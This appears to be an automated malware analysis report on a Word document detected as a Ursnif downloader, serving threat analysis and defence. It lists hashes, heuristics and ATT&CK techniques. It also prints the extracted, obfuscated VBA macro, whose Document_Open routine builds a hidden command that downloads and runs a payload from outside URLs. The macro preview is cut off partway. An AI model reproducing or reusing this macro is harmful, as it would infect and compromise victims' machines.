Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00a16d927169e9fd…

MALICIOUS

Office (OLE)

65.4 KB Created: 2018-09-11 15:28:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: fe02c8811200211297b180584ce2e769 SHA-1: 5b906683938beaa6abdbfaa7fd6fa10b4f36851f SHA-256: 00a16d927169e9fd75a8477e900b7b2937007e6744d9c70ef85992f2c94b2bfd
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute arbitrary commands. ClamAV detection as 'Doc.Downloader.URSNIF-6729855-3' further confirms its malicious nature as a downloader.

Heuristics 4

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5842 bytes
SHA-256: 81eca7318bdfb1523366f5faac7aeb1cef8bb810a1ae6f52d26d8ef92bdc2b84
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GFmOzRF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   VarType "418090305" + "oFs" + "b" + "AwKnw"
   VarType "pra" + "G"
   VarType "CBE" + "99418355"
   VarType "3857" + "1765" + "OtJOiIoSzu" + "usaT"
   VarType "rnL" + "Emiaz" + "z" + "P"
   VarType "kPJYG" + "PvXRnQLMNXHCSO"
   VarType "1925" + "n"
   VarType "l" + "4684" + "AC" + "wwMYATz"
Shell KwTnXIpLAD + nEpjLvc, Format(vbHide)
   VarType "3172" + "tkpjjOH" + "jzBsQjL" + "hctzKthcwR"
   VarType "zF" + "W" + "SZdCSEB" + "JU"
   VarType "137523064" + "4361"
   VarType "2156" + "DiTaAuLNH" + "9266" + "B"
End Sub



Attribute VB_Name = "jOAiZiHlazDN"
Function KwTnXIpLAD()

On _
Error _
Resume _
Next
VarType "9640" + "3568"
   VarType "vMjKsL" + "GmY"
   VarType "IpW" + "WvqTwvR"
MiJpMvujJ = Format(Chr(13 + 7 + 16 + 14 + 49)) + "md " + "/V:^" + "O/" + Format(Chr(9 + 5 + 11 + 9 + 33)) + Format(Chr(4 + 2 + 5 + 4 + 19)) + "^se" + "^t ^" + "oJ^1z= "
VarType "318073324" + "OHVHBImQpOHFs"
   VarType "tVpOBUd" + "iMSMDXV"
mYqZKI = "^ ^   " + "^ " + "^  " + "^ ^  " + " ^  " + "^  " + "^ }" + "^}^{h" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "ta"
VarType "dhi" + "puJrQFwbE"
dwTwhMzWHZP = Format(Chr(13 + 7 + 16 + 14 + 49)) + "^};^k" + "aer^b^" + ";" + "^as^O^$" + "^ m" + "^et^I" + "^-"
VarType "NRjAzYkWrvi" + "jtTzAUOQF" + "512696" + "339117110"
   VarType "74117431" + "vFKEYm" + "H" + "wQ"
jGmOzt = "e" + "k^ovnI^" + ";)^" + "as^" + "O^$^ " + "^" + "," + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^I" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^" + "$(e^l^" + "iF^d^" + "ao" + "ln^w^o^"
VarType "GmE" + "LGtL"
   VarType "b" + "lzh" + "41291579" + "lovn"
   VarType "W" + "4591"
iPWQUbtGww = "D.^Sj^E" + "$^{^yr" + "^t{)" + "j^d" + "M" + "$^ " + "n^i^" + " " + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^I" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "$(^h" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "a^" + "ero^f;^"
VarType "ooQzSjQ" + "8977"
   VarType "420714550" + "mbXjAis"
   VarType "iJUt" + "mjrC"
pqijzKBCs = "'e^x" + "e^.'+^G" + "R" + "^S^$+" + "^'^" + "\^'^+" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "il^bu" + "^p^:vn" + "^" + "e^$" + "^=as" + "^"
VarType "4149" + "zkk" + "SFu" + "pnVkh"
JSXuRN = "O$;" + "^'" + "1^9" + "6^" + "'^ " + "= ^GRS" + "^$" + "^;)^'"
KwTnXIpLAD = MiJpMvujJ + mYqZKI + dwTwhMzWHZP + jGmOzt + iPWQUbtGww + pqijzKBCs + JSXuRN
   VarType "4672" + "432591372" + "oczEDkma" + "NQkzjrwXj"
   VarType "MuQCtVEX" + "QSoHOwKdF" + "KSFvXMzS" + "t"
   VarType "9939" + "RXj"
   VarType "4813" + "7473"
End Function
Function nEpjLvc()

On _
Error _
Resume _
Next
VarType "PbXrJ" + "Tufapafic"
   VarType "wcUi" + "ZkRQtQGWrdw" + "314548701" + "2331"
   VarType "255579257" + "530761912" + "tfs" + "Ur"
   VarType "ZnSsiKHw" + "pwDC" + "7087" + "YLAZjrGA"
uJiwRwk = "@^'(ti^" + "lpS.'^w" + "^" + "WDi^" + "U/^ur^" + ".^03" + "dr^"
VarType "IwcTZF" + "1938036"
   VarType "7346" + "ZJ" + "YaoOaNkb" + "8973"
   VarType "zRqd" + "K"
oplziFK = "a^g" + "n" + "av^a/" + "/:p^tth" + "@^m" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "m/r" + "^i^" + ".z"
VarType "1711" + "v"
   VarType "PO" + "wnDn"
   VarType "Iu" + "147674304" + "845" + "Gbl"
   VarType "362332574" + "5135" + "268998550" + "NV"
ijXviA = "ain" + "^kar" + "t^" + "a//^:pt" + "t^h@^B" + Format(Chr(9 + 5 + 11 + 9 + 33)) + "^4"
VarType "5927" + "T"
   VarType "4191" + "ON"
   VarType "RvzVrYooB" + "497279326"
   VarType "G" + "269333437"
UPmiZXdfLB = "^i^A^b5" + "X/ri^.^" + "o" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "r^o" + "tomraza" + "^b/" + "/:p^t^"
VarType "P" + "z"
   VarType "ndiraI" + "EmYOYEQRB"
   VarType "SPwIXP" + "B" + "UCFz" + "6920"
RzzOE = "t^h^" + "@Y" + "^" + "dr^xH/" + "^z^k^.p" + "^e" + Format(Chr(13 + 7 + 16 + 14 + 49)) + "^ir" + "pot^" + "ua/" + "/"
VarType "w" + "zNTJimJNP" + "259
... (truncated)